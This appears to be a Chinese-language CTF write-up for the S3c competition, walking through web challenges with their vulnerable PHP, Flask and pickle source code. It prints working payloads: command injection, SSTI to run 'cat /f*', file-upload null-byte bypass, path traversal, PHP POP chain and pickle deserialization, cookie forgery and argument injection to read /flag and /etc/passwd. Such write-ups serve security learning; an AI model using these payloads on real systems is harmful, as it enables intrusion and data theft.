S3c比赛WP [TOC]
前言:第三场比赛,本人比较喜欢记录,但可能因为懒,wp不是那么的详细,不懂的欢迎随时来问我!本次做了web和misc方向!
web
EsayPHP 1 2 3 4 5 6 7 8 9 <?php error_reporting(0); // CTFerHello if ("admin" == $_GET[username] &+!!& "CTFs3cctf" == $_GET[S3cpassword]) { //Welcome to include "flag.php"; echo $flag; } show_source(__FILE__); ?>
打开记事本,如下图:
特殊url字符匹配,去掉符号的url编码,然后按照传参数顺序即可
payload如下:
1 ?username=admin&%e2%80%ae%e2%81%a6S3c%e2%81%a9%e2%81%a6password=%e2%80%ae%e2%81%a6CTF%e2%81%a9%e2%81%a6s3cctf
南京殇1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $ip=$_GET['IP']; if(preg_match("/\*|\||\[|\]|\(|\)|\{|\}|\-/i",$ip)) { die(' 里在干神魔? '); } if(preg_match("/eval|bash|base/im",$ip)) { die(' ???? '); } system('ping -c 2 '.$ip); PING 127.0.0.1 (127.0.0.1): 56 data bytes
1 payload :127.0.0.1&ls 然后127.0.0.1&cat ardiy.php
南京殇2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 世上的事都是人堆砌起来的,又被人纷纷撇扬了去,漫不经心...浑不知这是历史。 我行走在现在,又行走在历史,分分钟编程人人揣测的虚影子。 笔记最后她写道 想知道我的真心么 <?php include('2.php'); echo '<br /> '; $x=$_GET["X"]; $y=$_POST["Y"]; if(preg_match("/[a-d]|[f-z]/im",$x)) { die(' 她已将真心封藏,到底多少热情的碰撞才能唤醒这份... '); } if(preg_match("/curl|wget|nc/im",$x)) { die(' no RCE '); } if (!isset($x)) { echo $A ; echo '<br />'; } else if($x==md5($x)) { echo $C; echo '<br />'; echo $D; echo '<br />'; if(isset($y)) { if(preg_match("/[1-9]|[a-z]/im",$y)) { die(' hack go away '); } else { system("cat ".$y.".php"); } } }else {echo $B;} highlight_file(__FILE__); ?>
通过代码审计可知,x的值==MD5后x的值,因为是弱比较,php的特性又是0e后不加数字就截断,所以只要保证x=0exxxx,md5(x)=0exxxx,即可 0==0,绕过!y的值先试试/*,看到flag in 1.php!数字1又被过滤了?这…..,然后想到../是当前目录 ../**/ 又表示列出当前目录所有文件,F12读取源码即可!
一句话木马
1 2 3 payload:111=include('/flag.txt');var_dump(get_defined_vars()); 这是一种命令执行姿势! 111=include('/flag.txt'); 111=include('/flag.txt');echo $flag; 111=system('cat /flag.txt');
Sc网盘
F12源码是SQL注入,并且输入用户名给出是admin,注入密码,直接万能密码
welcome_to_s3c
进入的页面加载就有,直接复制即可
flag给你了 让我用PUT提交一个s3c,直接BP抓包,然后通过PUT传参或者在post的位置直接输入s3c,拿到flag
题目说一半已经给了,一半你要自己找正好对应一个1ndex.php和index.php两个网页,每个一半flag!
s3c{W0w_y0U_goT_tW0_f1ags!}
ezupload(同彩蛋黑客入侵) 题目只能上传图片类型的文件,但我们得上传一个php文件才能远程连接蚁剑!故只需要在传文件的时候BP抓包,然后
1 修改文件名为:66.PphpHP%00的url解码.jpg即可绕过
没有对象就new一个叭 1 2 3 4 5 6 7 8 9 10 <?php error_reporting(0); highlight_file(__FILE__); if ( isset($_GET["s3c"]) && isset($_GET["obj"])) { $s3c = $_GET["s3c"]; $obj = $_GET["obj"]; echo new $obj($s3c); }
一眼顶针,用PHP内置原生类来做
步骤1:读取目录的文件有哪些 1 ?obj=Filesystemlterator&s3c=.(.代表当前目录) 扫描出文件f14gggggggggg.php
步骤2:读取文件内容 由于直接读取f14gggggggggg.php由于位数闲置读取不行,故使用伪协议!payload如下
1 ?obj=SplFileObject&s3c=php://filter/convert.base64-encode/resource=f14gggggggggg.php
CTFer的礼物
通过页面的名字,gift=233,让我进入url/get.php,页面没什么东西,F12源码看
1 md5碰撞,这里我们采用数组直接绕过的方式:url/get.php?S3C[]=1&CTF[]=2 得到flag!
EZpython 让我们 nc 139.224.221.75 34251
一眼python命令执行,os模块输出!拿到flag
解压小游戏 直接查看far.js里看到源码
EZssti 首先登录界面,结合题目,我们可以判断出是SSti注入!我会在另一篇文章详细介绍!所以这里简单介绍下思路!
步骤1:读取所有类 1 2 {{''.__class__.__mro__.__getitem__(1).__subclasses__()}} 我用的 {{url_for.__globals__}} 另个大佬的
通过浏览器的ctrl+f搜索,确定了warnings.catch_warnings类的位置在133,这个类内置eval函数可以利用!
然后这题过滤了[],flag,config等!try,again的回显表示payload不对。
步骤2:读取子类,方便后续 1 {{''.__class__.__bases__.__getitem__(0)}} 确定了子类的位置在0,返回了<object>
步骤3:构造payload:绕过[]即可 1 {{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(133).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("cat /f*").read()')}}
从读取子类后面开始,payload为固定内容,所以其实很简单!
RandomNumber 进入题目,
盲猜是php种子随机数,毕竟没有真正的随机数!所以用GitHub的工具在kali进行爆破。具体操作如下:
步骤1:爆破种子 1 在工具文件打开终端输入: ./php_mt_seed 给的随机数 即可爆破出种子
步骤2:生成伪随机数 这里补充个常识:种子一般是0-100的,所以直接用这个范围里的就行了,然后取屏幕里第三个数的下一个数即可!
EZPOP 非常简单的一道pop链子题,完全就是考对魔术方法的理解,进入界面,看源码。
步骤1:代码审计 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php highlight_file(__FILE__); class p{ public $too; public function __toString() { $this->too->three; return 'w3lc0me_to_S3c'; } } class q{ public $amo; public $read; public function __destruct() { if($this->read==='next'){ echo $this->amo; } } } class d{ public $io; public function __get($name) { ($this->io)(); } } class b{ public $iu; public function __call($name, $arguments) { echo "you_are_sUccessssd"; echo file_get_contents("/flag"); } } class r{ public $hh; public function __invoke() { $this->hh->zxxxxxxxrrrrr(); } } $a = $_GET['payload']; unserialize($a);
步骤2:构造链子 从后往前找 第一步:
第二步:
第三步:
第四步:
第五步:
payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class p{ public $too; } class q{ public $amo; public $read='next'; } class d{ public $io; } class b{ public $iu; } class r{ public $hh;} $payload=new q(); $payload->amo = new p(); $payload->amo->too=new d(); $payload->amo->too->io=new r(); $payload->amo->too->io->hh=new b(); echo serialize($payload); ?> //O:1:"q":2:{s:3:"amo";O:1:"p":1:{s:3:"too";O:1:"d":1:{s:2:"io";O:1:"r":1:{s:2:"hh";O:1:"b":1:{s:2:"iu";N;}}}}s:4:"read";s:4:"next";}
So_Easy 考点:绕过$_SESSION变量,由于没给赋初值,它是一个固定的数,但我们不知道,查了百度,如下
步骤1:输出$_SESSION的值 1 var_dump( @md5($_SESSION['flag'])); 得到初始值
步骤2:绕过下面的反序列化 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting(0); $test=''; $test=array("user"=>admin,"password"=>hahahahahahaha); echo var_dump($test); echo var_dump(serialize($test)); $test1=''; $test1=array("user"=>admin,"password"=>hahahahahahaha); echo var_dump($test1); echo var_dump(serialize($test1)); //#s3c{Y0u_mUst_bE_An_exceLLent_CTFer} 在线数组对应生成反序列化模板!学习 ?> //原理,可以自己百度下PHP语法,试下构造数组对应
readMMMEEE 考点:路径读取问题。 实在懒得复现了,这题真不难。。。!
访问给的路径,但我们知道图片后面不能再切换目录了,所以只能在参数下手!
构造payload:/cancanneed?img=../../../flag 网页源码无法查看,直接BP抓包输入得到flag回显
DJ_Diary 考点:cookie伪造,代码审计
思路:修改cookie的name的值,变为可利用的参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php highlight_file(__FILE__); function img2b64($image) { return 'data:jpg;base64,'.base64_encode(file_get_contents($image)); } function get_img_contents() { $results = []; if (empty($_COOKIE['cache'])) { $images = glob('images/*.jpg'); $expiry = time() + 60*60*24*7; foreach($images as $image) { //这里的$image为上面glob函数的每张图片的值,无法控制 $text = preg_replace('/\\.[^.\\s]{3,4}$/', '.txt', $image); $description = trim(file_get_contents($text)); array_push($results, array( 'name' => $image, 'description' => $description )); $_SESSION[$image] = img2b64($image); } $cookie = array('data' => $results, 'expiry' => $expiry); setcookie('cache', json_encode($cookie), $expiry); } else { $cache = json_decode($_COOKIE['cache'], true); if ($cache['expiry'] <= time()) { $expiry = time() + 60*60*24*7; for($i = 0; $i < count($cache['data']); $i++) { $result = $cache['data'][$i]; $_SESSION[$result['name']] = img2b64($result['name']); } $cookie = array('data' => $cache['data'], 'expiry' => $expiry); setcookie('cache', json_encode($cookie), $expiry); } return $cache['data']; } return $results; } ?>
步骤1:代码审计 第一个for循环的$image并不可控,所以我们采用第二个循环 expiry的值小于time,并且cookie为一个数组data一个,expiry一个
步骤2:构造payload: {“data”:[{“name”:”xxx”,”description”:”\u829d\u58eb\u96ea\u8c79”}],xxxx的值可控并利用,所以我们只需要根据提示构造即可!
{“data”:[{“name”:”/flag”,”description”:”\u829d\u58eb\u96ea\u8c79”}],”expiry”:1667432089}url编码即可
白给皮卡丘 考点:pickle反序列化
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #!/usr/bin/env python # -*- coding:utf-8 -*- # author:l0sE2 # datetime:2022/10/23 11:54 # software: PyCharm import base64 import pickle import pickletools from flask import Flask, session,request import secretflag app = Flask(__name__) app.config['SECRET_KEY'] = 'S3C' class Hello(): def __init__(self): self.DOUWANTFLAG = 'no' self.user ='MY FRIEND' def say__HI(self,whoareU): self.user = whoareU class FALG():#你这flag不保熟啊 def __init__(self): self.flag = 'fl0g{ni_yao_bu_yao_ba}' def pikapika(self,pika): hell = pickle.loads(pika.replace(b'\u005cn', b'\n')) if hell.DOUWANTFLAG == 'yes' : return secretflag.realflag //判断读取flag的条件,覆盖原来的DOUWANTFLAG值 else: return self.flag @app.route('/') def hello_world(): hello = Hello() //实例化类 if not request.args.get('user'): return 'Hello {}! 只有真正渴望获得flag的ctfer才能成功'.format(hello.user) else: flag = FALG() G3T = request.args.get('user') //传user的值 print(G3T) if 'R' in G3T or 'i' in G3T or 'o' in G3T or 'b' in G3T: return 'R i o b is forbidden! but your payload:{}! '.format(G3T) //禁用了一些非预期解 R代码的利用 hello.say__HI(G3T) //输出user的值 例如?user=1 回显hello,1 pickle_hello = pickle.dumps(hello, protocol=0) pickle_hello = pickletools.optimize(pickle_hello) F = flag.pikapika(pickle_hello) return 'Hello {}!here is your flag<br/>{}!'.format(G3T,F) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
步骤1:代码审计 我们试着传入user=1
有回显,输出了FLAG类里的self.flag变量值,显然,这并不是我们要的flag!
很明显,我们只要满足以下条件:即可调用secretflag模块的函数读取flag!
1 2 if hell.DOUWANTFLAG == 'yes' : return secretflag.realflag //判断读取flag的条件,覆盖原来的DOUWANTFLAG值
但问题又来了,我们怎么改变原有的变量值呢?
这里就不得不说pickle序列化神奇的地方:只需要在传入参数的位置修改以下即可
例子:?user=1\nsVDOUWANTFLAG\nVyes
Time_Controller 考点:data命令,escapeshellcmd()函数转义
data -f 读取文件的命令
escapeshellcmd()函数会对一些命令进行转移,这里可以百度一下,这题直接format传参即可试试哪些字符转移,转移后的样子
查看时间,发现可以直接执行data %H:%M:%S
在通过提示:试试-f读取 data -f /etc/passwd发现不行
加个引号试试 data ‘-f /etc/passwd’发现可以!flag在根目录,data ‘-f /flag’即可拿到flag!